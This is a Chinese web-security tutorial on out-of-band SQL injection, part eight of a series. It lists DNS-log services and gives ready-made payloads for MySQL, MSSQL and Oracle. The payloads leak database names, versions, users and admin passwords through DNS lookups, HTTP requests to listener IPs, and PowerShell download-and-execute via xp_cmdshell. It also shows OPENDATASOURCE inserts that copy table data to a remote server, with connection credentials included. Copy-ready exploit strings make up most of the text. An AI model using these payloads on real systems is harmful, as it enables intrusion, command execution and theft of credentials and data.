WEB TOP10 之 SQL注入漏洞 数据外带注入 (八)

0x0 常用外带平台

  • 在线平台
平台网址地区
http://dnslog.cn/国内
http://ceye.io/国内
https://dnslog.org/国外
https://dig.pm/国外

0x1 DNS 数据外带

00 MYSQL 数据外带

外带原理

  • 利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

相关解释

  • UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
  • 利用内置函数load_file()来完成DNSLOG。
  • load_file() 不仅能够加载本地文件,同时也能对诸如 http://www.test.com 这样的URL发起请求。
  • load_file() 加载文件’ ‘,是对’ \ ‘的转义,load_file读取文件和windows读取文件调用的都是c的fopen()函数,而双斜杠表示网络资源路径,即UNC路径,于是发起了dns请求

MYSQL dnslog条件

  • secure_file_priv 拥有读写权限
secure_file_priv = ""       # 可以读取磁盘目录
secure_file_priv = "D:\"    # 可以读取D盘文件
secure_file_priv = null     # load_file限制,不能加载文件
  • 在mysql 5.5.34 默认为空可以加载文件,之后的版本为NULL,不能加载文件
show global variables like 'secure%';  //查看是否有写限制

常用payload

# 查看版本号
?id=1 union select 1,load_file(concat('\\\\',( select version()),'.2hlktd.dnslog.cn\\a')),3--+

# 查库名
?id=1 union select 1,load_file(concat('\\\\',( select database()),'.2hlktd.dnslog.cn\\a')),3--+

# 查表名
select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+

# 查列名
select load_file(concat('\\\\',( select column_name from information_schema.columns where table_schema = 'mysql' and table_name = 'users' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+

# 查数据
select load_file(concat('\\\\',( select id from mysql.user limit 0,1),'.2hlktd.dnslog.cn\\a'))--+

01 MSSQL 数据外带

外带原理

  • 利用MSSQL中的xp_cmdshell存储过程执行ping命令或直接拼接DNS平台域名,发出DNS请求,再通过DNS平台查询DNS记录获取查询的数据

MSSQL dnslog条件

  • 开启xp_cmdshell功能
?id=1; EXEC sp_configure 'show advanced options',1;-- 
?id=1; RECONFIGURE;-- 
?id=1; EXEC sp_configure 'xp_cmdshell',1;-- 
?id=1; RECONFIGURE;--
  • 验证xp_cmdshell功能
?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'--

常用payload

  • 查库名
?id=1;DECLARE @a varchar(1024);set @a=db_name();exec('master..xp_cmdshell "ping -n 2 ' %2b @a  %2b'.2hlktd.dnslog.cn"')-- 
?id=2;declare @a varchar(1024);set @a=db_name();exec('master..xp_subdirs "//'%2B@a%2B'.leitu0.log.saltor.icu\\a" ');  
# 注:其他方式xp_subdirs xp_dirtree xp_fileexist

02 Oracle 数据外带

外带原理

  • Oracle的带外注入和 DNSLOG很相似,需要使用网络请求的函数进行注入利用

相关函数

  • utl_inaddr.get_host_address() 函数
  • SYS.DBMS_LDAP.INIT() 函数

常用payload

# 查当前用户名
and (select utl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --
and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --

0x2 HTTP 数据外带

00 MSSQL 数据外带

外带原理

  • 利用MSSQL中的xp_cmdshell存储过程 和powershell发出HTTP请求,再通过监听IP:端口 记录或外带平台查看返回数据

MSSQL HTTP外带条件

  • 开启xp_cmdshell功能
?id=1; EXEC sp_configure 'show advanced options',1;-- 
?id=1; RECONFIGURE;-- 
?id=1; EXEC sp_configure 'xp_cmdshell',1;-- 
?id=1; RECONFIGURE;--
  • 验证xp_cmdshell功能
?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'--

常用payload

  • 查库名和版本
?id=1'; DECLARE @a varchar(8000);SET @a=db_name();exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:8888?data='%2b @a %2b''')"' ) --
?id=1'; DECLARE @okma VARCHAR(8000);SET @okma=(SELECT TOP 1 substring(@@version,1,35));exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:7777/?data='%2b @okma %2b''')"' ) --

01 Oracle 数据外带

外带原理

  • 利用内置函数 utl_http.request() 发起HTTP请求,然后通过监听IP:端口 记录或外带平台查看返回数据

相关函数

  • utl_http.request() 函数
    • 函数说明:在Oracle中提供了utlhttprequest函数,用于取得web服务器的请求信息,因此,攻击者可以自己监听端口,然后通过这个函数用请求将需要的数据发送反弹回头
    • UTL_HTTP包介绍:提供了对HTTP的一些操作。
    • 举例:执行这条SQL语句,将返回 baidu. com的HTML源码
select UTL_HTTP.REQUEST('[http://www.baidu.com'](http://www.baidu.com))from dual

带外注入过程

  1. 判断 UTL_HTTP存储过程是否可用
  • 在注入点提交如下查询,通过页面回显判断UTL_HTTP是否可用,如果页面返回正常,则说明UTL_HTTP存储过程可用
select count(*) from allobjects where object name='UTL_HTTP'
  1. 使用NC监听数据
  • 在本地用nc监听一个端口,要求本地主机拥有一个外网的ip地址
  • nc-lvvp监听端口
  1. 反弹数据信息 ,在注入点提交, 即可实现注入攻击
and UTL_HTTP.request('http://ip:监听端口/'||(查询语句)=1--

常用payload

  • 判断utl_http是否可用
id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1--
id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual--
  • 查询数据库版本指纹
and utl_http.request('http://172.16.12.172:8888/'%7C%7C'~'%7C%7C(select banner from sys.v_$version where rownum=1))=1--
  • 查当前用户名
id=1 and UTL_HTTP.request('http://ip:监听端口/'||(select user from dual)=1--
id=1 and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --  //注意 || 转码 %7C%7C

0x3 命令外带

  • Windows系统查看当前账户名
ping %USERNAME%.bbn3un.ceye.io

0x4 MSSQL 反弹注入

原理

  • 反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。
  • 反弹注入需要使用opendatasource函数。

OPENDATASOURCE函数

  • OPENDATASOURCE(provider_name,init_string)
  • 使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

反弹注入一般流程

  1. 连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。这里因为我想查询的是数据库库名,所以新建一个表里面只有一个字段,类型为varchar。
CREATE TABLE test(name VARCHAR(255))
  1. 获取数据库所有表,使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。
# 查询sysobjects表
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select namefrom dbo.sysobjects where xtype='U' --+

# 查询information_schema数据库
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test selecttable_name from information_schema.tables--+
WEB TOP10 之 SQL注入漏洞 数据外带注入 (八)-侠者安全社区
  1. 获取数据库admin表中的所有列名
# 查询information_schema数据库
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test selectcolumn_name from information_schema.columns where table_name='admin'--+

# 查询syscolumns表
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select namefrom dbo.syscolumns where id=1977058079--+
WEB TOP10 之 SQL注入漏洞 数据外带注入 (八)-侠者安全社区
  1. 获取数据
    • 首先新建一个表,里面放三个字段,分别是id,username和passwd。
CREATE TABLE data(id INT,username VARCHAR(255),passwd VARCHAR(255))

# 获取admin表中的数据
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.data selectid,username,passwd from admin--+
WEB TOP10 之 SQL注入漏洞 数据外带注入 (八)-侠者安全社区
© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情快捷回复

    暂无评论内容